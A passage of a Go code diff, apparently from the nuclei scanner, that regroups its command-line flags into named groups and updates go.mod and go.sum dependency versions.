+		flagSet.IntVarP(&options.TemplateThreads, "concurrency", "c", 10, "maximum number of templates to be executed in parallel"),
+	)
+
+	createGroup(flagSet, "optimization", "Optimizations",
+		flagSet.IntVar(&options.Timeout, "timeout", 5, "time to wait in seconds before timeout"),
+		flagSet.IntVar(&options.Retries, "retries", 1, "number of times to retry a failed request"),
+
+		flagSet.BoolVar(&options.Project, "project", false, "use a project folder to avoid sending same request multiple times"),
+		flagSet.StringVar(&options.ProjectPath, "project-path", os.TempDir(), "set a specific project path"),
+
+		flagSet.BoolVarP(&options.StopAtFirstMatch, "stop-at-first-path", "spm", false, "stop processing HTTP requests after the first match (may break template/workflow logic)"),
+	)
+
+	createGroup(flagSet, "headless", "Headless",
+		flagSet.BoolVar(&options.Headless, "headless", false, "enable templates that require headless browser support"),
+		flagSet.IntVar(&options.PageTimeout, "page-timeout", 20, "seconds to wait for each page in headless mode"),
+		flagSet.BoolVar(&options.ShowBrowser, "show-browser", false, "show the browser on the screen when running templates with headless mode"),
+	)
+
+	createGroup(flagSet, "debug", "Debug",
+		flagSet.BoolVar(&options.Debug, "debug", false, "show all requests and responses"),
+		flagSet.BoolVar(&options.DebugRequests, "debug-req", false, "show all sent requests"),
+		flagSet.BoolVar(&options.DebugResponse, "debug-resp", false, "show all received responses"),
+
+		/* TODO why the separation? http://proxy:port vs socks5://proxy:port etc
+		   TODO should auto-set the HTTP_PROXY variable for the process? */
+		flagSet.StringVarP(&options.ProxyURL, "proxy-url", "proxy", "", "URL of the HTTP proxy server"),
+		flagSet.StringVar(&options.ProxySocksURL, "proxy-socks-url", "", "URL of the SOCKS proxy server"),
+
+		flagSet.StringVar(&options.TraceLogFile, "trace-log", "", "file to write sent requests trace log"),
+
+		flagSet.BoolVar(&options.Version, "version", false, "show nuclei version"),
+		flagSet.BoolVarP(&options.TemplatesVersion, "templates-version", "tv", false, "shows the version of the installed nuclei-templates"),
+	)
+
+	createGroup(flagSet, "update", "Update",
+		flagSet.BoolVar(&options.UpdateNuclei, "update", false, "update nuclei to the latest released version"),
+		flagSet.BoolVarP(&options.UpdateTemplates, "update-templates", "ut", false, "update the community templates to latest released version"),
+		flagSet.BoolVarP(&options.NoUpdateTemplates, "no-update-templates", "nut", false, "Do not check for nuclei-templates updates"),
+		flagSet.StringVarP(&options.TemplatesDirectory, "update-directory", "ud", templatesDirectory, "overwrite the default nuclei-templates directory"),
+	)
+
+	createGroup(flagSet, "stats", "Statistics",
+		flagSet.BoolVar(&options.EnableProgressBar, "stats", false, "display statistics about the running scan"),
+		flagSet.BoolVar(&options.StatsJSON, "stats-json", false, "write statistics data to an output file in JSONL(ines) format"),
+		flagSet.IntVarP(&options.StatsInterval, "stats-interval", "si", 5, "number of seconds to wait between showing a statistics update"),
+
+		flagSet.BoolVar(&options.Metrics, "metrics", false, "expose nuclei metrics on a port"),
+		flagSet.IntVar(&options.MetricsPort, "metrics-port", 9092, "port to expose nuclei metrics on"),
+	)
+
+	_ = flagSet.Parse()
 
 	if cfgFile != "" {
-		if err := set.MergeConfigFile(cfgFile); err != nil {
+		if err := flagSet.MergeConfigFile(cfgFile); err != nil {
 			gologger.Fatal().Msgf("Could not read config: %s\n", err)
 		}
 	}
 }
+
+func createGroup(flagSet *goflags.FlagSet, groupName, description string, flags ...*goflags.FlagData) {
+	flagSet.SetGroup(groupName, description)
+	for _, currentFlag := range flags {
+		currentFlag.Group(groupName)
+	}
+}

v2/go.mod

@@ -5,41 +5,48 @@ go 1.15
 require (
 	github.com/Knetic/govaluate v3.0.0+incompatible
 	github.com/andygrunwald/go-jira v1.13.0
+	github.com/apex/log v1.9.0
 	github.com/blang/semver v3.5.1+incompatible
+	github.com/c4milo/unpackit v0.1.0 // indirect
 	github.com/corpix/uarand v0.1.1
 	github.com/fatih/structs v1.1.0 // indirect
 	github.com/go-rod/rod v0.91.1
 	github.com/golang/protobuf v1.4.3 // indirect
 	github.com/google/go-github v17.0.0+incompatible
-	github.com/google/go-github/v32 v32.1.0
+	github.com/gosuri/uilive v0.0.4 // indirect
+	github.com/gosuri/uiprogress v0.0.1 // indirect
 	github.com/hashicorp/go-cleanhttp v0.5.2 // indirect
 	github.com/hashicorp/go-retryablehttp v0.6.8 // indirect
 	github.com/json-iterator/go v1.1.10
 	github.com/julienschmidt/httprouter v1.3.0
+	github.com/karlseguin/ccache v2.0.3+incompatible
 	github.com/karrick/godirwalk v1.16.1
 	github.com/logrusorgru/aurora v2.0.3+incompatible
 	github.com/mattn/go-runewidth v0.0.10 // indirect
 	github.com/miekg/dns v1.1.38
-	github.com/mitchellh/go-ps v1.0.0
 	github.com/olekukonko/tablewriter v0.0.5
+	github.com/owenrumney/go-sarif v1.0.4
 	github.com/pkg/errors v0.9.1
 	github.com/projectdiscovery/clistats v0.0.8
-	github.com/projectdiscovery/collaborator v0.0.2
 	github.com/projectdiscovery/fastdialer v0.0.8
-	github.com/projectdiscovery/goflags v0.0.4
+	github.com/projectdiscovery/goflags v0.0.6
 	github.com/projectdiscovery/gologger v1.1.4
 	github.com/projectdiscovery/hmap v0.0.1
-	github.com/projectdiscovery/rawhttp v0.0.6
+	github.com/projectdiscovery/interactsh v0.0.3
+	github.com/projectdiscovery/rawhttp v0.0.7
 	github.com/projectdiscovery/retryabledns v1.0.10
-	github.com/projectdiscovery/retryablehttp-go v1.0.1
+	github.com/projectdiscovery/retryablehttp-go v1.0.2-0.20210524224054-9fbe1f2b0727
+	github.com/projectdiscovery/stringsutil v0.0.0-20210617141317-00728870f68d
 	github.com/remeh/sizedwaitgroup v1.0.0
 	github.com/rivo/uniseg v0.2.0 // indirect
 	github.com/rs/xid v1.2.1
 	github.com/segmentio/ksuid v1.0.3
+	github.com/shirou/gopsutil/v3 v3.21.5
 	github.com/spaolacci/murmur3 v1.1.0
 	github.com/spf13/cast v1.3.1
 	github.com/stretchr/testify v1.7.0
 	github.com/syndtr/goleveldb v1.0.0
+	github.com/tj/go-update v2.2.5-0.20200519121640-62b4b798fd68+incompatible
 	github.com/trivago/tgo v1.0.7 // indirect
 	github.com/valyala/fasttemplate v1.2.1
 	github.com/xanzy/go-gitlab v0.44.0
@@ -47,11 +54,9 @@ require (
 	go.uber.org/multierr v1.6.0
 	go.uber.org/ratelimit v0.1.0
 	golang.org/x/crypto v0.0.0-20210218145215-b8e89b74b9df // indirect
-	golang.org/x/net v0.0.0-20210119194325-5f4716e94777
+	golang.org/x/net v0.0.0-20210521195947-fe42d452be8f
 	golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99
 	golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9 // indirect
-	golang.org/x/sys v0.0.0-20210218155724-8ebf48af031b // indirect
-	golang.org/x/text v0.3.4 // indirect
 	golang.org/x/time v0.0.0-20201208040808-7e3f01d25324 // indirect
 	google.golang.org/appengine v1.6.7 // indirect
 	gopkg.in/yaml.v2 v2.4.0

v2/go.sum

@@ -38,10 +38,24 @@ github.com/Knetic/govaluate v3.0.0+incompatible/go.mod h1:r7JcOSlj0wfOMncg0iLm8L
 github.com/Masterminds/glide v0.13.2/go.mod h1:STyF5vcenH/rUqTEv+/hBXlSTo7KYwg2oc2f4tzPWic=
 github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y=
 github.com/Masterminds/vcs v1.13.0/go.mod h1:N09YCmOQr6RLxC6UNHzuVwAdodYbbnycGHSmwVJjcKA=
+github.com/StackExchange/wmi v0.0.0-20190523213315-cbe66965904d h1:G0m3OIz70MZUWq3EgK3CesDbo8upS2Vm9/P3FtgI+Jk=
+github.com/StackExchange/wmi v0.0.0-20190523213315-cbe66965904d/go.mod h1:3eOhrUMpNV+6aFIbp5/iudMxNCF27Vw2OZgy4xEx0Fg=
 github.com/andygrunwald/go-jira v1.13.0 h1:vvIImGgX32bHfoiyUwkNo+/YrPnRczNarvhLOncP6dE=
 github.com/andygrunwald/go-jira v1.13.0/go.mod h1:jYi4kFDbRPZTJdJOVJO4mpMMIwdB+rcZwSO58DzPd2I=
+github.com/apex/log v1.9.0 h1:FHtw/xuaM8AgmvDDTI9fiwoAL25Sq2cxojnZICUU8l0=
+github.com/apex/log v1.9.0/go.mod h1:m82fZlWIuiWzWP04XCTXmnX0xRkYYbCdYn8jbJeLBEA=
+github.com/apex/logs v1.0.0/go.mod h1:XzxuLZ5myVHDy9SAmYpamKKRNApGj54PfYLcFrXqDwo=
+github.com/aphistic/golf v0.0.0-20180712155816-02c07f170c5a/go.mod h1:3NqKYiepwy8kCu4PNA+aP7WUV72eXWJeP9/r3/K9aLE=
+github.com/aphistic/sweet v0.2.0/go.mod h1:fWDlIh/isSE9n6EPsRmC0det+whmX6dJid3stzu0Xys=
+github.com/apparentlymart/go-textseg/v13 v13.0.0/go.mod h1:ZK2fH7c4NqDTLtiYLvIkEghdlcqw7yxLeM89kiTRPUo=
+github.com/aws/aws-sdk-go v1.20.6/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
+github.com/aybabtme/rgbterm v0.0.0-20170906152045-cc83f3b3ce59/go.mod h1:q/89r3U2H7sSsE2t6Kca0lfwTK8JdoNGS/yzM/4iH5I=
 github.com/blang/semver v3.5.1+incompatible h1:cQNTCjp13qL8KC3Nbxr/y2Bqb63oX6wdnnjpJbkM4JQ=
 github.com/blang/semver v3.5.1+incompatible/go.mod h1:kRBLl5iJ+tD4TcOOxsy/0fnwebNt5EWlYSAyrTnjyyk=
+github.com/bradfitz/iter v0.0.0-20191230175014-e8f45d346db8 h1:GKTyiRCL6zVf5wWaqKnf+7Qs6GbEPfd4iMOitWzXJx8=
+github.com/bradfitz/iter v0.0.0-20191230175014-e8f45d346db8/go.mod h1:spo1JLcs67NmW1aVLEgtA8Yy1elc+X8y5SRW1sFW4Og=
+github.com/c4milo/unpackit v0.1.0 h1:91pWJ6B3svZ4LOE+p3rnyucRK5fZwBdF/yQ/pcZO31I=
+github.com/c4milo/unpackit v0.1.0/go.mod h1:pvXCMYlSV8zwGFWMaT+PWYkAB/cvDjN2mv9r7ZRSxEo=
 github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
 github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
 github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
@@ -61,10 +75,16 @@ github.com/dgrijalva/jwt-go v3.2.0+incompatible h1:7qlOGliEKZXTDg6OTjfoBKDXWrumC
 github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
 github.com/dimchansky/utfbom v1.1.1 h1:vV6w1AhK4VMnhBno/TPVCoK9U/LP0PkLCS9tbxHdi/U=
 github.com/dimchansky/utfbom v1.1.1/go.mod h1:SxdoEBH5qIqFocHMyGOXVAybYJdr71b1Q/j0mACtrfE=
+github.com/dsnet/compress v0.0.1 h1:PlZu0n3Tuv04TzpfPbrnI0HW/YwodEXDS+oPKahKF0Q=
+github.com/dsnet/compress v0.0.1/go.mod h1:Aw8dCMJ7RioblQeTqt88akK31OvO8Dhf5JflhBbQEHo=
+github.com/dsnet/golib v0.0.0-20171103203638-1ea166775780/go.mod h1:Lj+Z9rebOhdfkVLjJ8T6VcRQv3SXugXy999NBtR9aFY=
+github.com/eggsampler/acme/v3 v3.2.1 h1:Lfsrg3M2zt00QRnizOFzdpSfsS9oDvPsGrodXS/w1KI=
+github.com/eggsampler/acme/v3 v3.2.1/go.mod h1:/qh0rKC/Dh7Jj+p4So7DbWmFNzC4dpcpK53r226Fhuo=
 github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
 github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
 github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
 github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
+github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
 github.com/fatih/structs v1.0.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M=
 github.com/fatih/structs v1.1.0 h1:Q7juDM0QtcnhCpeyLGQKyg4TOIghuNXrkL32pHAUMxo=
 github.com/fatih/structs v1.1.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M=
@@ -73,6 +93,10 @@ github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMo
 github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=
 github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
 github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
+github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
+github.com/go-ole/go-ole v1.2.4 h1:nNBDSCOigTSiarFpYE9J/KtEA1IOW4CNeqT9TQDqCxI=
+github.com/go-ole/go-ole v1.2.4/go.mod h1:XCwSNxSkXRo4vlyPy93sltvi/qJq0jqQhjqQNIwKuxM=
+github.com/go-redis/redis v6.15.5+incompatible/go.mod h1:NAIEuMOZ/fxfXJIrKDQDz8wamY7mA7PouImQ2Jvg6kA=
 github.com/go-rod/rod v0.91.1 h1:7xIlC/bXCXosZqZUl2x6GVB8tv4yMQ4W/ZVdGVa1qYI=
 github.com/go-rod/rod v0.91.1/go.mod h1:/W4lcZiCALPD603MnJGIvhtywP3R6yRB9EDfFfsHiiI=
 github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
@@ -116,13 +140,10 @@ github.com/google/go-cmp v0.5.1 h1:JFrFEBb2xKufg6XkJsJr+WbKb4FQlURi5RUcBveYu9k=
 github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
 github.com/google/go-github v17.0.0+incompatible h1:N0LgJ1j65A7kfXrZnUDaYCs/Sf4rEjNlfyDHW9dolSY=
 github.com/google/go-github v17.0.0+incompatible/go.mod h1:zLgOLi98H3fifZn+44m+umXrS52loVEgC2AApnigrVQ=
-github.com/google/go-github/v32 v32.1.0 h1:GWkQOdXqviCPx7Q7Fj+KyPoGm4SwHRh8rheoPhd27II=
-github.com/google/go-github/v32 v32.1.0/go.mod h1:rIEpZD9CTDQwDK9GDrtMTycQNA4JU3qBsCizh3q2WCI=
 github.com/google/go-querystring v0.0.0-20170111101155-53e6ce116135/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck=
 github.com/google/go-querystring v1.0.0 h1:Xkwi/a1rcvNg1PPYe5vI8GbeBY/jrVuDX5ASuANWTrk=
 github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck=
 github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
-github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
 github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
 github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0=
 github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
@@ -133,8 +154,15 @@ github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hf
 github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
 github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
 github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
+github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/google/uuid v1.2.0 h1:qJYtXnJRWmpe7m/3XlyhrsLrEURqHRM2kxzoxXqyUDs=
+github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
 github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
 github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
+github.com/gosuri/uilive v0.0.4 h1:hUEBpQDj8D8jXgtCdBu7sWsy5sbW/5GhuO8KBwJ2jyY=
+github.com/gosuri/uilive v0.0.4/go.mod h1:V/epo5LjjlDE5RJUcqx8dbw+zc93y5Ya3yg8tfZ74VI=
+github.com/gosuri/uiprogress v0.0.1 h1:0kpv/XY/qTmFWl/SkaJykZXrBBzwwadmW8fRb7RJSxw=
+github.com/gosuri/uiprogress v0.0.1/go.mod h1:C1RTYn4Sc7iEyf6j8ft5dyoZ4212h8G1ol9QQluh5+0=
 github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
 github.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ=
 github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48=
@@ -145,37 +173,62 @@ github.com/hashicorp/go-retryablehttp v0.6.8 h1:92lWxgpa+fF3FozM4B3UZtHZMJX8T5XT
 github.com/hashicorp/go-retryablehttp v0.6.8/go.mod h1:vAew36LZh98gCBJNLH42IQ1ER/9wtLZZ8meHqQvEYWY=
 github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
 github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
+github.com/hooklift/assert v0.1.0 h1:UZzFxx5dSb9aBtvMHTtnPuvFnBvcEhHTPb9+0+jpEjs=
+github.com/hooklift/assert v0.1.0/go.mod h1:pfexfvIHnKCdjh6CkkIZv5ic6dQ6aU2jhKghBlXuwwY=
 github.com/hpcloud/tail v1.0.0 h1:nfCOvKYfkgYP8hkirhJocXT2+zOD8yUNjXaWfTlyFKI=
 github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
 github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
+github.com/jasonlvhit/gocron v0.0.1 h1:qTt5qF3b3srDjeOIR4Le1LfeyvoYzJlYpqvG7tJX5YU=
+github.com/jasonlvhit/gocron v0.0.1/go.mod h1:k9a3TV8VcU73XZxfVHCHWMWF9SOqgoku0/QlY2yvlA4=
+github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
+github.com/jpillora/backoff v0.0.0-20180909062703-3050d21c67d7/go.mod h1:2iMrUgbbvHEiQClaW2NsSzMyGHqN+rDFqY705q49KG0=
 github.com/json-iterator/go v1.1.10 h1:Kz6Cvnvv2wGdaG/V8yMvfkmNiXq9Ya2KUv4rouJJr68=
 github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
 github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU=
 github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk=
 github.com/julienschmidt/httprouter v1.3.0 h1:U0609e9tgbseu3rBINet9P48AI/D3oJs4dN7jwJOQ1U=
 github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM=
+github.com/karlseguin/ccache v2.0.3+incompatible h1:j68C9tWOROiOLWTS/kCGg9IcJG+ACqn5+0+t8Oh83UU=
+github.com/karlseguin/ccache v2.0.3+incompatible/go.mod h1:CM9tNPzT6EdRh14+jiW8mEF9mkNZuuE51qmgGYUB93w=
+github.com/karlseguin/ccache/v2 v2.0.7 h1:y5Pfi4eiyYCOD6LS/Kj+o6Nb4M5Ngpw9qFQs+v44ZYM=
+github.com/karlseguin/ccache/v2 v2.0.7/go.mod h1:2BDThcfQMf/c0jnZowt16eW405XIqZPavt+HoYEtcxQ=
+github.com/karlseguin/expect v1.0.2-0.20190806010014-778a5f0c6003 h1:vJ0Snvo+SLMY72r5J4sEfkuE7AFbixEP2qRbEcum/wA=
+github.com/karlseguin/expect v1.0.2-0.20190806010014-778a5f0c6003/go.mod h1:zNBxMY8P21owkeogJELCLeHIt+voOSduHYTFUbwRAV8=
 github.com/karrick/godirwalk v1.16.1 h1:DynhcF+bztK8gooS0+NDJFrdNZjJ3gzVzC545UNA9iw=
 github.com/karrick/godirwalk v1.16.1/go.mod h1:j4mkqPuvaLI8mp1DroR3P6ad7cyYd4c1qeJ3RV7ULlk=
 github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
+github.com/klauspost/compress v1.4.1 h1:8VMb5+0wMgdBykOV96DwNwKFQ+WTI4pzYURP99CcB9E=
+github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A=
+github.com/klauspost/cpuid v1.2.0 h1:NMpwD2G9JSFOE1/TJjGSo5zG7Yb2bTe7eq1jH+irmeE=
+github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek=
+github.com/klauspost/pgzip v1.2.5 h1:qnWYvvKqedOF2ulHpMG72XQol4ILEJ8k2wwRl/Km8oE=
+github.com/klauspost/pgzip v1.2.5/go.mod h1:Ch1tH69qFZu15pkjo5kYi6mth2Zzwzt50oCQKQE9RUs=
+github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc=
 github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
+github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
 github.com/kr/pretty v0.2.1 h1:Fmg33tUaq4/8ym9TJN1x7sLJnHVwhP33CNkpYV/7rwI=
 github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
 github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
 github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
 github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
 github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
+github.com/logrusorgru/aurora v0.0.0-20200102142835-e9ef32dff381/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4=
 github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8=
 github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4=
+github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ=
+github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
+github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
+github.com/mattn/go-isatty v0.0.8 h1:HLtExJ+uU2HOZ+wI0Tt5DtUDrx8yhUqDcp7fYERX4CE=
+github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
 github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
 github.com/mattn/go-runewidth v0.0.10 h1:CoZ3S2P7pvtP45xOtBw+/mDL2z0RKI576gSkzRRpdGg=
 github.com/mattn/go-runewidth v0.0.10/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk=
+github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
 github.com/miekg/dns v1.1.29/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM=
 github.com/miekg/dns v1.1.35/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM=
 github.com/miekg/dns v1.1.38 h1:MtIY+fmHUVVgv1AXzmKMWcwdCYxTRPG1EDjpqF4RCEw=
 github.com/miekg/dns v1.1.38/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM=
 github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
-github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc=
-github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg=
 github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
 github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
 github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
@@ -186,45 +239,64 @@ github.com/ngdinhtoan/glide-cleanup v0.2.0/go.mod h1:UQzsmiDOb8YV3nOsCxK/c9zPpCZ
 github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec=
 github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY=
 github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
-github.com/onsi/ginkgo v1.7.0 h1:WSHQ+IS43OoUrWtD1/bbclrwK8TTH5hzp+umCiuxHgs=
 github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
-github.com/onsi/gomega v1.4.3 h1:RE1xgDvH7imwFD45h+u2SgIfERHlS2yNG4DObb5BSKU=
+github.com/onsi/ginkgo v1.10.1 h1:q/mM8GF/n0shIN8SaAZ0V+jnLPzen6WIVZdiwrRlMlo=
